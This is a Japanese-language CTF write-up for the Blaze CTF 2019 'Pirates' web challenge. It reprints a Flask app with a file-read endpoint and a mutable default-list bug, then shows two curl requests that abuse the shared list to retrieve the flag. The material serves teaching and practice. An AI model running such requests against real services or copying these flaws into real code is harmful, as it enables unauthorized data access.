Blaze CTF 2019 Writeup - Pirates
Question
What is a Pirate's favorite letter? You may think it's R, but their true love is the C. http://chal.420blaze.in:42008
Solution
簡単に画面を操作する。
- create accountは、submitするとuser_idが払い出される。
- set secretは、user_idを使用してsecret値のセットができる。secret_idが払い出される。
- get secretは、set secretで払い出されたsecret_idをキーにsecret値の取得ができる。
robots.txt
を見ると、/source
があることがわかる。/source
にアクセスすると、file
パラメータに拡張子py
のファイル名をセットするとソースコードが見れそうなことがわかる。app.py
のソースコードを参照する。
#!/usr/bin/env python3 from flask import Flask, request, redirect import uuid import os app = Flask(__name__) user_to_secret = {} class UserSecrets: def __init__(self, secrets=[]): self.secrets = secrets def add_secret(self, secret): self.secrets.append(secret) return len(self.secrets) - 1 def get_secret(self, secret_index): try: return self.secrets[secret_index] except KeyError: return "Secret does not exist!" @app.route("/source") def source(): a = request.args['file'] if not a[-3:] == '.py': return "You can only view the source of a python file." with open(a) as f: return f.read() @app.route("/robots.txt") def robots(): return "User-agent: *\nDisallow: /source" @app.route("/") def hello(): return """Hello! Are you a robot? This is a secret management server. <h2>create account:</h2> <form action="/create_account" method="post" name="form"> Starting secrets: </br> <input type="text" name="secrets" value="secret0" /> <input type="text" name="secrets" value="secret1" /> <input type="text" name="secrets" value="secret2" /> <button>Submit</button> </form> <span id="result"></span> <script> //var form; document.form.onsubmit = function (e) { // stop the regular form submission e.preventDefault(); // collect the form data while iterating over the inputs var data = []; for (var i = 0, ii = form.length; i < ii; ++i) { var input = form[i]; if (input.name) { data.push(input.value); } } // construct an HTTP request var xhr = new XMLHttpRequest(); xhr.open(form.method, form.action, true); xhr.setRequestHeader('Content-Type', 'application/json; charset=UTF-8'); // send the collected data as JSON xhr.send(JSON.stringify(data)); xhr.onloadend = function (r) { console.log(r); document.getElementById("result").innerHTML=r.srcElement.responseText; }; }; </script> <h2>set secret:</h2> <form action="/secrets" method="post"> Create Account:<br> user_id:<br> <input type="text" name="user_id" value="userid"><br> secret:<br> <input type="text" name="secret" value="A Secret"><br><br> <input type="submit" value="Submit"> </form> <h2>get secret:</h2> <form action="/secrets" method="get"> user_id:<br> <input type="text" name="user_id" value="userid"><br> secret_id:<br> <input type="text" name="secret_id" value="2"><br><br> <input type="submit" value="Submit"> </form> """ @app.route("/create_account", methods=["POST"]) def create_account(): secrets = request.get_json() user_id = str(uuid.uuid4()) if isinstance(secrets, list): user_to_secret[user_id] = UserSecrets(secrets) else: user_to_secret[user_id] = UserSecrets() return user_id @app.route("/secrets", methods=["POST", "GET", "DELETE"]) def secret(): if request.method == "POST": user_id = request.form.get("user_id") secret = request.form.get("secret") try: return str(user_to_secret[user_id].add_secret(secret)) except KeyError: return "You do not have a SecretStorage!" else: user_id = request.args.get("user_id") try: secret_id = int(request.args.get("secret_id")) except TypeError: return "The secret id should be an integer!" try: return user_to_secret[user_id].get_secret(secret_id) except KeyError: return "You do not have a SecretStorage!" if __name__ == "__main__": admin_secrets = UserSecrets() admin_secrets.add_secret(os.environ['FLAG']) app.run(debug=True, port=42069, host="0.0.0.0")
起動時にUserSecrets
クラスのインタンスを生成し、add_secret
メソッドでFLAGをセットしている。
UserSecrets
クラスのインスタンス生成時に呼ばれる__init__
メソッドを確認すると、secrets
のデフォルト引数を空のリストにしている。
デフォルト引数に、リストと辞書を使う場合は注意が必要である。
以下の記事の「リストや辞書をデフォルト値とした場合の注意点」がわかりやすい。
note.nkmk.me
つまり、UserSecrets
クラスのインスタンス生成時に引数を渡さなければ、FLAGを追加済みのsecrets
リストを持ったインスタンスを生成できることがわかる。
create_account
メソッドのソースを見ると、JSON形式かつリストではないデータをPOSTすれば、引数なしのUserSecrets
クラスのインスタンスが生成できる。
ディクショナリ型の{"aaa":"bbb"}
を/create_account
にPOSTしてアカウントを作成し、user_id
を払い出す。
# curl http://chal.420blaze.in:42008/create_account -H "Content-Type: application/json;charset=UTF-8" -d '{"aaa":"bbb"}' a006e40e-9759-4e26-99b4-d6aa073c9c3b
secret_id
に0をセットして、FLAGが格納されているであろうsecrets
リストの0番目の値を取得する。
# curl http://chal.420blaze.in:42008/secrets -GET -d "user_id=a006e40e-9759-4e26-99b4-d6aa073c9c3b&secret_id=0" blaze{py3h0n_d3f4ul7_Arrrrgh}
フラグゲット。